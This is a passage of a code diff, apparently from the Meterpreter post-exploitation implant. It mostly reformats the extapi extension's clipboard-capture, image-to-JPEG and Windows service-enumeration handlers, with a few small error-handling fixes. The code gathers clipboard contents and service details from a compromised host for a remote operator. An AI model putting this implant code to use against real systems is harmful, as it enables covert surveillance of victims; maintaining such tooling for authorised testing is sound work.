(HDROP)pGlobalLock( hClipboardData )) != NULL ) { + dprintf("Grabbing the clipboard file drop data"); + if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL + && (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL) { - uFileCount = pDragQueryFileA( hFileDrop, (UINT)-1, NULL, 0 ); + uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0); - dprintf( "Parsing %u file(s) on the clipboard.", uFileCount ); + dprintf("Parsing %u file(s) on the clipboard.", uFileCount); - for( uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex ) { - if( pDragQueryFileA( hFileDrop, uFileIndex, lpFileName, sizeof( lpFileName ) ) ) { - dprintf( "Clipboard file entry: %s", lpFileName ); + for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex) { + if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName))) { + dprintf("Clipboard file entry: %s", lpFileName); - memset( &entries, 0, sizeof(entries) ); - memset( &largeInt, 0, sizeof(largeInt) ); + memset(&entries, 0, sizeof(entries)); + memset(&largeInt, 0, sizeof(largeInt)); - entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME; - entries[0].header.length = (DWORD)strlen( lpFileName ) + 1; - entries[0].buffer = (PUCHAR)lpFileName; + entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME; + entries[0].header.length = (DWORD)strlen(lpFileName) + 1; + entries[0].buffer = (PUCHAR)lpFileName; - entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE; + entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE; entries[1].header.length = sizeof(QWORD); - entries[1].buffer = (PUCHAR)&largeInt.QuadPart; + entries[1].buffer = (PUCHAR)&largeInt.QuadPart; - if( (hSourceFile = pCreateFileA( lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL )) != NULL ) { - if( pGetFileSizeEx( hSourceFile, &largeInt ) ) { - largeInt.QuadPart = htonq( largeInt.QuadPart ); + if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL) { + if (pGetFileSizeEx(hSourceFile, &largeInt)) { + largeInt.QuadPart = htonq(largeInt.QuadPart); } - pCloseHandle( hSourceFile ); + pCloseHandle(hSourceFile); } - packet_add_tlv_group( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 2 ); + packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 2); } } - pGlobalUnlock( hClipboardData ); + pGlobalUnlock(hClipboardData); } - } while(0); + } while (0); } } @@ -249,19 +249,19 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) pCloseClipboard(); - } while(0); + } while (0); - if( hShell32 ) - FreeLibrary( hShell32 ); + if (hShell32) + FreeLibrary(hShell32); - if( hKernel32 ) - FreeLibrary( hKernel32 ); + if (hKernel32) + FreeLibrary(hKernel32); - if( hUser32 ) - FreeLibrary( hUser32 ); + if (hUser32) + FreeLibrary(hUser32); - if( pResponse ) - packet_transmit_response( dwResult, remote, pResponse ); + if (pResponse) + packet_transmit_response(dwResult, remote, pResponse); return dwResult; #else @@ -280,7 +280,7 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) * @return Indication of success or failure. * @todo Add support for more data formats. */ -DWORD request_clipboard_set_data( Remote *remote, Packet *packet ) +DWORD request_clipboard_set_data(Remote *remote, Packet *packet) { #ifdef _WIN32 DWORD dwResult; @@ -304,97 +304,98 @@ DWORD request_clipboard_set_data( Remote *remote, Packet *packet ) do { - if( (lpClipString = packet_get_tlv_value_string( packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT )) == NULL ) - BREAK_WITH_ERROR( "No string data specified", ERROR_INVALID_PARAMETER ); + if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)) == NULL) + BREAK_WITH_ERROR("No string data specified", ERROR_INVALID_PARAMETER); - dprintf( "Loading user32.dll" ); - if( (hUser32 = LoadLibraryA( "user32.dll" )) == NULL) - BREAK_ON_ERROR( "Unable to load user32.dll" ); + dprintf("Loading user32.dll"); + if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) + BREAK_ON_ERROR("Unable to load user32.dll"); - dprintf( "Loading kernel32.dll" ); - if( (hKernel32 = LoadLibraryA( "kernel32.dll" )) == NULL) - BREAK_ON_ERROR( "Unable to load kernel32.dll" ); + dprintf("Loading kernel32.dll"); + if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL) + BREAK_ON_ERROR("Unable to load kernel32.dll"); - dprintf( "Searching for GlobalAlloc" ); - if( (pGlobalAlloc = (PGLOBALALLOC)GetProcAddress( hKernel32, "GlobalAlloc" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate GlobalAlloc in kernel32.dll" ); + dprintf("Searching for GlobalAlloc"); + if ((pGlobalAlloc = (PGLOBALALLOC)GetProcAddress(hKernel32, "GlobalAlloc")) == NULL) + BREAK_ON_ERROR("Unable to locate GlobalAlloc in kernel32.dll"); - dprintf( "Searching for GlobalLock" ); - if( (pGlobalLock = (PGLOBALLOCK)GetProcAddress( hKernel32, "GlobalLock" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate GlobalLock in kernel32.dll" ); + dprintf("Searching for GlobalLock"); + if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL) + BREAK_ON_ERROR("Unable to locate GlobalLock in kernel32.dll"); - dprintf( "Searching for GlobalUnlock" ); - if( (pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress( hKernel32, "GlobalUnlock" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate GlobalUnlock in kernel32.dll" ); + dprintf("Searching for GlobalUnlock"); + if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL) + BREAK_ON_ERROR("Unable to locate GlobalUnlock in kernel32.dll"); - dprintf( "Searching for OpenClipboard" ); - if( (pOpenClipboard = (POPENCLIPBOARD)GetProcAddress( hUser32, "OpenClipboard" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate OpenClipboard in user32.dll" ); + dprintf("Searching for OpenClipboard"); + if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL) + BREAK_ON_ERROR("Unable to locate OpenClipboard in user32.dll"); - dprintf( "Searching for CloseClipboard" ); - if( (pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress( hUser32, "CloseClipboard" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate CloseClipboard in user32.dll" ); + dprintf("Searching for CloseClipboard"); + if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL) + BREAK_ON_ERROR("Unable to locate CloseClipboard in user32.dll"); - dprintf( "Searching for EmptyClipboard" ); - if( (pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress( hUser32, "EmptyClipboard" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate EmptyClipboard in user32.dll" ); + dprintf("Searching for EmptyClipboard"); + if ((pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress(hUser32, "EmptyClipboard")) == NULL) + BREAK_ON_ERROR("Unable to locate EmptyClipboard in user32.dll"); - dprintf( "Searching for SetClipboardData" ); - if( (pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress( hUser32, "SetClipboardData" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate SetClipboardData in user32.dll" ); + dprintf("Searching for SetClipboardData"); + if ((pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress(hUser32, "SetClipboardData")) == NULL) + BREAK_ON_ERROR("Unable to locate SetClipboardData in user32.dll"); - cbStringBytes = (SIZE_T)strlen( lpClipString ) + 1; + cbStringBytes = (SIZE_T)strlen(lpClipString) + 1; // do the "use the right kind of memory once locked" clip board data dance. // Note that we don't free up the memory we've allocated with GlobalAlloc // because the windows clipboard magic does it for us. - if( (hClipboardData = pGlobalAlloc( GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes )) == NULL ) { + if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL) { dwResult = GetLastError(); pCloseClipboard(); - BREAK_WITH_ERROR( "Failed to allocate clipboard memory", dwResult ); + BREAK_WITH_ERROR("Failed to allocate clipboard memory", dwResult); } - lpLockedData = (PCHAR)pGlobalLock( hClipboardData ); + lpLockedData = (PCHAR)pGlobalLock(hClipboardData); - memcpy_s( lpLockedData, cbStringBytes, lpClipString, cbStringBytes ); + memcpy_s(lpLockedData, cbStringBytes, lpClipString, cbStringBytes); - pGlobalUnlock( hClipboardData ); + pGlobalUnlock(hClipboardData); // Try to get a lock on the clipboard - if( !pOpenClipboard( NULL ) ) { + if (!pOpenClipboard(NULL)) { dwResult = GetLastError(); - BREAK_WITH_ERROR( "Unable to open the clipboard", dwResult ); + BREAK_WITH_ERROR("Unable to open the clipboard", dwResult); } // Clear the clipboard data pEmptyClipboard(); - if( !pSetClipboardData( CF_TEXT, hClipboardData ) ) { + if (!pSetClipboardData(CF_TEXT, hClipboardData)) { dwResult = GetLastError(); - dprintf( "Failed to set the clipboad data: %u", dwResult ); - } else { + dprintf("Failed to set the clipboad data: %u", dwResult); + } + else { dwResult = ERROR_SUCCESS; } pCloseClipboard(); - } while(0); + } while (0); // If something went wrong and we have clipboard data, then we need to // free it up because the clipboard can't do it for us. - if( dwResult != ERROR_SUCCESS && hClipboardData != NULL ) { - dprintf( "Searching for GlobalFree" ); - if( (pGlobalFree = (PGLOBALFREE)GetProcAddress( hKernel32, "GlobalFree" )) != NULL ) - pGlobalFree( hClipboardData ); + if (dwResult != ERROR_SUCCESS && hClipboardData != NULL) { + dprintf("Searching for GlobalFree"); + if ((pGlobalFree = (PGLOBALFREE)GetProcAddress(hKernel32, "GlobalFree")) != NULL) + pGlobalFree(hClipboardData); } - if( hKernel32 ) - FreeLibrary( hKernel32 ); + if (hKernel32) + FreeLibrary(hKernel32); - if( hUser32 ) - FreeLibrary( hUser32 ); + if (hUser32) + FreeLibrary(hUser32); - packet_transmit_empty_response( remote, packet, dwResult ); + packet_transmit_empty_response(remote, packet, dwResult); return dwResult; #else diff --git a/source/extensions/extapi/clipboard.h b/source/extensions/extapi/clipboard.h index b27aea6..eea42a5 100644 --- a/source/extensions/extapi/clipboard.h +++ b/source/extensions/extapi/clipboard.h @@ -5,7 +5,7 @@ #ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H #define _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H -DWORD request_clipboard_set_data( Remote *remote, Packet *packet ); -DWORD request_clipboard_get_data( Remote *remote, Packet *packet ); +DWORD request_clipboard_set_data(Remote *remote, Packet *packet); +DWORD request_clipboard_get_data(Remote *remote, Packet *packet); #endif diff --git a/source/extensions/extapi/clipboard_image.cpp b/source/extensions/extapi/clipboard_image.cpp index af333c0..e8bef04 100644 --- a/source/extensions/extapi/clipboard_image.cpp +++ b/source/extensions/extapi/clipboard_image.cpp @@ -18,44 +18,46 @@ extern "C" { * @param pClsId Pointer to the \c CLSID structure that will receive the Class ID. * @returns Indication of success or failure. * @retval ERROR_SUCCESS The Class ID was extracted successfully. + * @retval ERROR_NOT_FOUND The Class ID was not found. * @retval Otherwise The relevant error code. */ -DWORD get_encoder_clsid( WCHAR *mimeType, CLSID * pClsId ) +DWORD get_encoder_clsid(WCHAR *mimeType, CLSID * pClsId) { using namespace Gdiplus; - DWORD dwResult = ERROR_SUCCESS; + DWORD dwResult = ERROR_NOT_FOUND; ImageCodecInfo* pImageCodecInfo = NULL; do { UINT numEncoders; UINT size; - if( GetImageEncodersSize( &numEncoders, &size ) != Ok ) - BREAK_WITH_ERROR( "Unable to get encoders array size.", ERROR_FUNCTION_FAILED ); + if (GetImageEncodersSize(&numEncoders, &size) != Ok) + BREAK_WITH_ERROR("Unable to get encoders array size.", ERROR_FUNCTION_FAILED); - if( size == 0 ) - BREAK_WITH_ERROR( "No encoders found.", ERROR_FUNCTION_FAILED ); + if (size == 0) + BREAK_WITH_ERROR("No encoders found.", ERROR_FUNCTION_FAILED); - if( (pImageCodecInfo = (ImageCodecInfo*)malloc( size )) == NULL ) - BREAK_WITH_ERROR( "Couldn't allocate memory for ImageCodeInfo", ERROR_OUTOFMEMORY ); + if ((pImageCodecInfo = (ImageCodecInfo*)malloc(size)) == NULL) + BREAK_WITH_ERROR("Couldn't allocate memory for ImageCodeInfo", ERROR_OUTOFMEMORY); - if( GetImageEncoders( numEncoders, size, pImageCodecInfo ) != Ok ) - BREAK_WITH_ERROR( "Unable to get encoders.", ERROR_FUNCTION_FAILED ); + if (GetImageEncoders(numEncoders, size, pImageCodecInfo) != Ok) + BREAK_WITH_ERROR("Unable to get encoders.", ERROR_FUNCTION_FAILED); - for( UINT i = 0; i < numEncoders; ++i ) { - if( wcscmp( pImageCodecInfo[i].MimeType, mimeType ) == 0 ) { + for (UINT i = 0; i < numEncoders; ++i) { + if (wcscmp(pImageCodecInfo[i].MimeType, mimeType) == 0) { // Image encoder for the MIME type found, so copy the Class ID... - memcpy_s( pClsId, sizeof( CLSID ), &pImageCodecInfo[i].Clsid, sizeof( CLSID ) ); + memcpy_s(pClsId, sizeof(CLSID), &pImageCodecInfo[i].Clsid, sizeof(CLSID)); // .. and finish up. + dwResult = ERROR_SUCCESS; break; } } - } while(0); + } while (0); - if( pImageCodecInfo != NULL ) - free( pImageCodecInfo ); + if (pImageCodecInfo != NULL) + free(pImageCodecInfo); return dwResult; } @@ -72,7 +74,7 @@ extern "C" { * @retval ERROR_SUCCESS The Class ID was extracted successfully. * @retval Otherwise The relevant error code. */ -DWORD convert_to_jpg( const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuality, ConvertedImage* pImage ) +DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuality, ConvertedImage* pImage) { using namespace Gdiplus; @@ -89,72 +91,71 @@ DWORD convert_to_jpg( const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuali do { - if( GdiplusStartup( &gdiPlusToken, &gdiStartupInput, NULL ) != Ok ) - BREAK_WITH_ERROR( "Unable to initialize GdiPlus", ERROR_FUNCTION_FAILED ); + if (GdiplusStartup(&gdiPlusToken, &gdiStartupInput, NULL) != Ok) + BREAK_WITH_ERROR("Unable to initialize GdiPlus", ERROR_FUNCTION_FAILED); CLSID jpegClsid; - dprintf( "Attempting to get the jpg class id" ); - if( get_encoder_clsid( L"image/jpeg", &jpegClsid ) != ERROR_SUCCESS ) - BREAK_WITH_ERROR( "Unable to find an appropriate image encoder", ERROR_FUNCTION_FAILED ); + dprintf("Attempting to get the jpg class id"); + if (get_encoder_clsid(L"image/jpeg", &jpegClsid) != ERROR_SUCCESS) + BREAK_WITH_ERROR("Unable to find an appropriate image encoder", ERROR_FUNCTION_FAILED); - if( (pBitmap = new Bitmap( lpBI, lpDIB ) ) == NULL ) - BREAK_WITH_ERROR( "Failed to create bitmap instance", ERROR_FUNCTION_FAILED ); + if ((pBitmap = new Bitmap(lpBI, lpDIB)) == NULL) + BREAK_WITH_ERROR("Failed to create bitmap instance", ERROR_FUNCTION_FAILED); EncoderParameters encParams; encParams.Count = 1; encParams.Parameter[0].NumberOfValues = 1; - encParams.Parameter[0].Guid = EncoderQuality; - encParams.Parameter[0].Type = EncoderParameterValueTypeLong; - encParams.Parameter[0].Value = &ulQuality; + encParams.Parameter[0].Guid = EncoderQuality; + encParams.Parameter[0].Type = EncoderParameterValueTypeLong; + encParams.Parameter[0].Value = &ulQuality; - if( CreateStreamOnHGlobal( NULL, TRUE, &pStream ) != S_OK ) - BREAK_WITH_ERROR( "Failed to create stream", ERROR_FUNCTION_FAILED ); + if (CreateStreamOnHGlobal(NULL, TRUE, &pStream) != S_OK) + BREAK_WITH_ERROR("Failed to create stream", ERROR_FUNCTION_FAILED); - if( pBitmap->Save( pStream, &jpegClsid, &encParams ) != Ok ) - BREAK_WITH_ERROR( "Failed to save image to stream", ERROR_FUNCTION_FAILED ); + if (pBitmap->Save(pStream, &jpegClsid, &encParams) != Ok) + BREAK_WITH_ERROR("Failed to save image to stream", ERROR_FUNCTION_FAILED); STATSTG stat; - if( pStream->Stat( &stat, STATFLAG_NONAME ) != S_OK ) - BREAK_WITH_ERROR( "Failed to get image stat", ERROR_FUNCTION_FAILED ); + if (pStream->Stat(&stat, STATFLAG_NONAME) != S_OK) + BREAK_WITH_ERROR("Failed to get image stat", ERROR_FUNCTION_FAILED); // if the image requires the quadpart, then we're in trouble anyway! pImage->dwImageBufferSize = stat.cbSize.LowPart; - if( (pImage->pImageBuffer = (LPBYTE)malloc( pImage->dwImageBufferSize ) ) == NULL ) - BREAK_WITH_ERROR( "Failed to allocate memory for the JPEG", ERROR_OUTOFMEMORY ); + if ((pImage->pImageBuffer = (LPBYTE)malloc(pImage->dwImageBufferSize)) == NULL) + BREAK_WITH_ERROR("Failed to allocate memory for the JPEG", ERROR_OUTOFMEMORY); ULARGE_INTEGER pos; LARGE_INTEGER zero; zero.QuadPart = 0; pos.QuadPart = 0; - if( pStream->Seek( zero, STREAM_SEEK_SET, &pos ) != S_OK ) - BREAK_WITH_ERROR( "Failed set stream position", ERROR_FUNCTION_FAILED ); + if (pStream->Seek(zero, STREAM_SEEK_SET, &pos) != S_OK) + BREAK_WITH_ERROR("Failed set stream position", ERROR_FUNCTION_FAILED); ULONG bytesRead = 0; - if( (hRes = pStream->Read( pImage->pImageBuffer, pImage->dwImageBufferSize, &bytesRead ) != S_OK) ) { - dprintf( "Failed to read image data from stream: %u %x", hRes, hRes ); + if ((hRes = pStream->Read(pImage->pImageBuffer, pImage->dwImageBufferSize, &bytesRead) != S_OK)) { + dprintf("Failed to read image data from stream: %u %x", hRes, hRes); dwResult = ERROR_FUNCTION_FAILED; break; } - if( bytesRead != pImage->dwImageBufferSize ) - BREAK_WITH_ERROR( "Failed to read image data from stream", ERROR_FUNCTION_FAILED ); - } while(0); + if (bytesRead != pImage->dwImageBufferSize) + BREAK_WITH_ERROR("Failed to read image data from stream", ERROR_FUNCTION_FAILED); + } while (0); - if( dwResult != ERROR_SUCCESS && pImage->pImageBuffer != NULL ) { - free( pImage->pImageBuffer ); + if (dwResult != ERROR_SUCCESS && pImage->pImageBuffer != NULL) { + free(pImage->pImageBuffer); pImage->pImageBuffer = NULL; } - if( pStream != NULL ) + if (pStream != NULL) pStream->Release(); - if( pBitmap != NULL ) + if (pBitmap != NULL) delete pBitmap; - if( gdiPlusToken != 0 ) - GdiplusShutdown( gdiPlusToken ); - + if (gdiPlusToken != 0) + GdiplusShutdown(gdiPlusToken); + return dwResult; } - } \ No newline at end of file diff --git a/source/extensions/extapi/clipboard_image.h b/source/extensions/extapi/clipboard_image.h index fe098b8..6d9b74d 100644 --- a/source/extensions/extapi/clipboard_image.h +++ b/source/extensions/extapi/clipboard_image.h @@ -9,14 +9,14 @@ typedef struct _ConvertedImage { /*! * @brief Pointer to a pointer which will receive the JPEG image data buffer. - * This value is allocated using \c malloc prior to returning. If after - * calling this function the value is non-NULL the caller must call - * \c free to release this memory. - */ + * This value is allocated using \c malloc prior to returning. If after + * calling this function the value is non-NULL the caller must call + * \c free to release this memory. + */ PBYTE pImageBuffer; DWORD dwImageBufferSize; } ConvertedImage; -DWORD convert_to_jpg( const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuality, ConvertedImage* pImage ); +DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuality, ConvertedImage* pImage); #endif diff --git a/source/extensions/extapi/extapi.c b/source/extensions/extapi/extapi.c index 1b665ed..7f61702 100644 --- a/source/extensions/extapi/extapi.c +++ b/source/extensions/extapi/extapi.c @@ -19,34 +19,12 @@ EnableDelayLoadMetSrv(); Command customCommands[] = { - // Window management and enumeration - { "extapi_window_enum", - { request_window_enum, { 0 }, 0 }, - { EMPTY_DISPATCH_HANDLER } - }, - // Service management and enumeration - { "extapi_service_enum", - { request_service_enum, { 0 }, 0 }, - { EMPTY_DISPATCH_HANDLER } - }, - { "extapi_service_query", - { request_service_query, { 0 }, 0 }, - { EMPTY_DISPATCH_HANDLER } - }, - // Clipboard interaction - { "extapi_clipboard_get_data", - { request_clipboard_get_data, { 0 }, 0 }, - { EMPTY_DISPATCH_HANDLER } - }, - { "extapi_clipboard_set_data", - { request_clipboard_set_data, { 0 }, 0 }, - { EMPTY_DISPATCH_HANDLER } - }, - // Terminator - { NULL, - { EMPTY_DISPATCH_HANDLER }, - { EMPTY_DISPATCH_HANDLER } - } + COMMAND_REQ("extapi_window_enum", request_window_enum), + COMMAND_REQ("extapi_service_enum", request_service_enum), + COMMAND_REQ("extapi_service_query", request_service_query), + COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data), + COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data), + COMMAND_TERMINATOR }; /*! @@ -76,4 +54,3 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) return ERROR_SUCCESS; } - diff --git a/source/extensions/extapi/service.c b/source/extensions/extapi/service.c index 3defe47..ba4edc1 100644 --- a/source/extensions/extapi/service.c +++ b/source/extensions/extapi/service.c @@ -8,9 +8,9 @@ #ifdef _WIN32 #include -typedef SC_HANDLE (WINAPI * POPENSCMANAGERA)( LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess ); -typedef BOOL (WINAPI * PCLOSESERVICEHANDLE)( SC_HANDLE hSCObject ); -typedef BOOL (WINAPI * PENUMSERVICESSTATUSEXA)( +typedef SC_HANDLE(WINAPI * POPENSCMANAGERA)(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess); +typedef BOOL(WINAPI * PCLOSESERVICEHANDLE)(SC_HANDLE hSCObject); +typedef BOOL(WINAPI * PENUMSERVICESSTATUSEXA)( SC_HANDLE hSCManager, SC_ENUM_TYPE InfoLevel, DWORD dwServiceType, @@ -22,21 +22,21 @@ typedef BOOL (WINAPI * PENUMSERVICESSTATUSEXA)( LPDWORD lpResumeHandle, LPCSTR pszGroupName ); -typedef SC_HANDLE (WINAPI * POPENSERVICEA)( SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAcces ); -typedef BOOL (WINAPI * PQUERYSERVICEOBJECTSECURITY)( +typedef SC_HANDLE(WINAPI * POPENSERVICEA)(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAcces); +typedef BOOL(WINAPI * PQUERYSERVICEOBJECTSECURITY)( SC_HANDLE hService, SECURITY_INFORMATION dwSecurityInformation, PSECURITY_DESCRIPTOR lpSecurityDescriptor, DWORD cbBufSize, LPDWORD pcbBytesNeeded ); -typedef BOOL (WINAPI * PQUERYSERVICECONFIGA)( +typedef BOOL(WINAPI * PQUERYSERVICECONFIGA)( SC_HANDLE hService, LPQUERY_SERVICE_CONFIGA lpServiceConfig, DWORD dbBufSize, LPDWORD pcbBytesNeeded ); -typedef BOOL (WINAPI * PCSDTSSDA)( +typedef BOOL(WINAPI * PCSDTSSDA)( PSECURITY_DESCRIPTOR SecurityDescriptor, DWORD RequestedStringSDRevision, SECURITY_INFORMATION SecurityInformation, @@ -44,34 +44,35 @@ typedef BOOL (WINAPI * PCSDTSSDA)( PULONG StringSecurityDescriptorLen ); -VOID add_enumerated_service( Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive ); -DWORD get_service_config( HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse ); -DWORD get_service_dacl( HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse ); +VOID add_enumerated_service(Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive); +DWORD query_service(LPCSTR cpServiceName, Packet *pResponse); +DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse); +DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse); #endif -DWORD enumerate_services( Packet *response ); +DWORD enumerate_services(Packet *response); DWORD request_service_enum(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet * response = packet_create_response( packet ); + Packet * response = packet_create_response(packet); do { - if( !response ) { - dprintf( "Unable to create response packet" ); + if (!response) { + dprintf("Unable to create response packet"); dwResult = ERROR_OUTOFMEMORY; break; } - dprintf( "Beginning service enumeration" ); - dwResult = enumerate_services( response ); + dprintf("Beginning service enumeration"); + dwResult = enumerate_services(response); - } while(0); + } while (0); - dprintf( "Transmitting response back to caller." ); - if( response ) - packet_transmit_response( dwResult, remote, response ); + dprintf("Transmitting response back to caller."); + if (response) + packet_transmit_response(dwResult, remote, response); return dwResult; } @@ -80,33 +81,33 @@ DWORD request_service_query(Remote *remote, Packet *packet) { LPSTR lpServiceName = NULL; DWORD dwResult = ERROR_SUCCESS; - Packet * response = packet_create_response( packet ); + Packet * response = packet_create_response(packet); do { - if( !response ) { - dprintf( "Unable to create response packet" ); + if (!response) { + dprintf("Unable to create response packet"); dwResult = ERROR_OUTOFMEMORY; break; } - lpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME ); - if( !lpServiceName ) - BREAK_WITH_ERROR( "Missing service name parameter", ERROR_BAD_ARGUMENTS ); + lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME); + if (!lpServiceName) + BREAK_WITH_ERROR("Missing service name parameter", ERROR_BAD_ARGUMENTS); - dprintf( "Beginning service enumeration" ); - dwResult = query_service( lpServiceName, response ); + dprintf("Beginning service enumeration"); + dwResult = query_service(lpServiceName, response); - } while(0); + } while (0); - dprintf( "Transmitting response back to caller." ); - if( response ) - packet_transmit_response( dwResult, remote, response ); + dprintf("Transmitting response back to caller."); + if (response) + packet_transmit_response(dwResult, remote, response); return dwResult; } -DWORD query_service( LPCSTR cpServiceName, Packet *pResponse ) +DWORD query_service(LPCSTR cpServiceName, Packet *pResponse) { #ifdef _WIN32 // currently we only support Windoze @@ -121,43 +122,46 @@ DWORD query_service( LPCSTR cpServiceName, Packet *pResponse ) do { - dprintf( "Loading advapi32.dll" ); - if( (hAdvapi32 = LoadLibraryA( "advapi32.dll" )) == NULL) - BREAK_ON_ERROR( "Unable to load advapi32.dll" ); - - dprintf( "Searching for OpenSCManagerA" ); - if( (pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress( hAdvapi32, "OpenSCManagerA" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate OpenSCManagerA in advapi32.dll" ); - - dprintf( "Searching for CloseServiceHandle" ); - if( (pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress( hAdvapi32, "CloseServiceHandle" )) == NULL ) - dprintf( "Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway." ); - - dprintf( "Searching for OpenServiceA" ); - if( (pOpenServiceA = (POPENSERVICEA)GetProcAddress( hAdvapi32, "OpenServiceA" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate OpenServiceA in advapi32.dll." ); - - dprintf( "Opening the Service Control manager" ); - if( (scManager = pOpenSCManagerA( NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT|GENERIC_READ )) == NULL ) - BREAK_ON_ERROR( "Unable to open the service control manager" ); - - dprintf( "Opening the Service: %s", cpServiceName ); - if( (scService = pOpenServiceA( scManager, cpServiceName, SC_MANAGER_CONNECT|GENERIC_READ )) == NULL ) - BREAK_ON_ERROR( "Unable to open the service: %s", cpServiceName ); + dprintf("Loading advapi32.dll"); + if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) + BREAK_ON_ERROR("Unable to load advapi32.dll"); + + dprintf("Searching for OpenSCManagerA"); + if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) + BREAK_ON_ERROR("Unable to locate OpenSCManagerA in advapi32.dll"); + + dprintf("Searching for CloseServiceHandle"); + if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) + dprintf("Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway."); + + dprintf("Searching for OpenServiceA"); + if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL) + BREAK_ON_ERROR("Unable to locate OpenServiceA in advapi32.dll."); + + dprintf("Opening the Service Control manager"); + if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) + BREAK_ON_ERROR("Unable to open the service control manager"); + + dprintf("Opening the Service: %s", cpServiceName); + if ((scService = pOpenServiceA(scManager, cpServiceName, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) { + dwResult = GetLastError(); + dprintf("Unable to open the service: %s (%u)", cpServiceName, dwResult); + break; + } - get_service_config( hAdvapi32, scService, pResponse ); - get_service_dacl( hAdvapi32, scService, pResponse ); + get_service_config(hAdvapi32, scService, pResponse); + get_service_dacl(hAdvapi32, scService, pResponse); - } while(0); + } while (0); - if( scService && pCloseServiceHandle ) - 